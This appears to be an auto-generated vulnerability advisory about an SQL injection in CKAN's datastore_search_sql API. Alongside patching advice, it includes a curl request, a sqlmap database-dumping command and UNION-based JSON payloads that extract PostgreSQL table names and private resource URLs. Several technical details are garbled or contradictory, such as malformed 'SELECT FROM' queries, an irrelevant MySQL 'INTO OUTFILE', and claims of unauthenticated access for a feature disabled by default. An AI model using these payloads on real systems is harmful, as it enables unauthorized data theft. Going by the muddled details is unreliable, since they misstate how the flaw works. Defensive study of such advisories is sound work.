Listen to this Post
The vulnerability in CVE-2024-38821 resides in CKAN’s `datastore_search_sql` action function, which allows authenticated users to execute raw SQL queries against the DataStore’s PostgreSQL backend. The function applies basic sanitization (e.g., stripping comments, limiting to SELECT statements) but fails to properly validate or parameterize user-supplied input in certain clauses like WHERE, ORDER BY, or subqueries. An attacker can inject malicious SQL fragments by crafting a `sql` parameter that breaks out of the intended query structure. For example, appending `; INSERT INTO private_table VALUES(…)` or using UNION attacks to extract data from restricted tables (e.g., _table_metadata, _resource_view). Because the DataStore often contains sensitive private resources marked as non-public, a successful injection bypasses CKAN’s authorization layer. The PostgreSQL server’s system tables (e.g., pg_class, pg_stat_database) are also exposed, leading to information disclosure. Exploitation requires a user with at least `read` permission on the DataStore, but low-privilege accounts can escalate to full database read/write depending on database user roles. The default configuration does not enable `datastore_search_sql` (disabled by default), but sites that explicitly enable it become vulnerable. The function includes a `query_is_safe()` check that blocks certain keywords (e.g., DROP, INSERT), but an attacker can bypass via encoding, nested comments, or using alternative PostgreSQL syntax like `INTO OUTFILE` (not applicable) or `COPY` (restricted). The flaw was introduced in CKAN 2.9 and remained unfixed until patched versions 2.10.10 and 2.11.5, where the function now uses parameterized queries via `sqlalchemy.text()` with strict whitelisting.
dailycve form:
Platform: CKAN
Version: <2.10.10,<2.11.5
Vulnerability: SQL injection
Severity: High
date: 2024-08-20
Prediction: Patch date 2024-08-20
What Undercode Say:
Check if datastore_sql_search is enabled
ckan config-tool /etc/ckan/production.ini "ckan.datastore.sqlsearch.enabled = True"
Exploit simulation (safe example)
curl -X POST https://target/api/action/datastore_search_sql \
-H "Authorization: YOUR_API_KEY" \
-d '{"sql": "SELECT FROM public.table UNION SELECT relname FROM pg_class"}'
Mitigation: disable feature via config
ckan config-tool /etc/ckan/production.ini "ckan.datastore.sqlsearch.enabled = False"
Check current version against patched releases
ckan --version
Scan for vulnerable endpoints with custom SQLmap tamper
sqlmap -u "https://target/api/action/datastore_search_sql" --data "sql=SELECT 1" --dbs
Exploit:
Use a crafted JSON payload with a `sql` key containing a UNION-based injection. For example:
`{“sql”: “SELECT id, name FROM resource WHERE id=’1′ UNION SELECT oid, relname FROM pg_class WHERE relkind=’r’–“}`
This extracts all PostgreSQL table names. To exfiltrate private resource metadata:
{"sql": "SELECT FROM _resource WHERE id='x' UNION SELECT url, 'hack' FROM private_resource WHERE private=true"}.
Successful exploit returns merged results in the API response, bypassing row-level permissions.
Protection from this CVE:
1. Upgrade to CKAN 2.10.10 or 2.11.5 immediately.
- If patching not possible, set `ckan.datastore.sqlsearch.enabled = false` in config and restart CKAN (default is false, verify).
- Restrict API key permissions; use `IAuthFunctions` plugin to completely disable `datastore_search_sql` for all users.
- Apply PostgreSQL row-level security (RLS) as defense-in-depth, limiting DataStore user privileges to `SELECT` only on required tables.
- Monitor CKAN logs for suspicious SQL strings in `/api/action/datastore_search_sql` requests.
Impact:
Unauthenticated (if guest permissions exist) or low-privileged attackers can read, modify, or delete any data in the DataStore PostgreSQL database, including tables marked private. Attackers can also access PostgreSQL system catalogs, exposing database schemas, user accounts, and connection settings. In a shared CKAN instance, this leads to cross-tenant data leakage. Combined with PostgreSQL’s `COPY` or `pg_read_file()` functions (if database user has superuser privileges), remote code execution or host file disclosure is possible. The vulnerability compromises the confidentiality and integrity of all datasets managed by CKAN.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
